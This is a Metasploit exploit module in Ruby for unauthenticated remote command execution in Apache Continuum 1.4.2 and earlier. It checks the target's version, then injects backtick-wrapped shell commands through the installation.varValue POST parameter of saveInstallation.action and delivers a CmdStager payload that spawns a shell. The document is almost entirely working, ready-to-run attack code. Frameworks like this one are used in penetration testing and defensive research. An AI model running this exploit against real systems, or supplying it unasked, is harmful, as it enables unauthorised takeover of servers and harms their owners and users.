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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache Continuum Arbitrary Command Execution',
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        'Description' => %q{
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          This module exploits a command injection in Apache Continuum <= 1.4.2.
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          By injecting a command into the installation.varValue POST parameter to
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          /continuum/saveInstallation.action, a shell can be spawned.
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        },
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        'Author' => [
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          'David Shanahan', # Proof of concept
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          'wvu'             # Metasploit module
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        ],
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        'References' => [
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          %w{EDB 39886}
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        ],
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        'DisclosureDate' => '2016-04-06',
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => [ARCH_X86, ARCH_X64],
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        'Privileged' => false,
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        'Targets' => [
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          ['Apache Continuum <= 1.4.2', {}]
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        ],
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(8080)
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    ])
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  end
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  def check
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => '/continuum/about.action'
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    )
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    if res && res.body.include?('1.4.2')
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      CheckCode::Appears
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    elsif res && res.code == 200
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      CheckCode::Detected
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    else
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      CheckCode::Safe
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    end
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  end
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  def exploit
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    print_status('Injecting CmdStager payload...')
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    execute_cmdstager
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  end
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  def execute_command(cmd, opts = {})
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    send_request_cgi(
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      'method' => 'POST',
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      'uri' => '/continuum/saveInstallation.action',
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      'vars_post' => {
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        'installation.name' => Rex::Text.rand_text_alpha(8),
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        'installation.type' => 'jdk',
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        'installation.varValue' => '`' + cmd + '`'
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      }
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    )
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  end
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end
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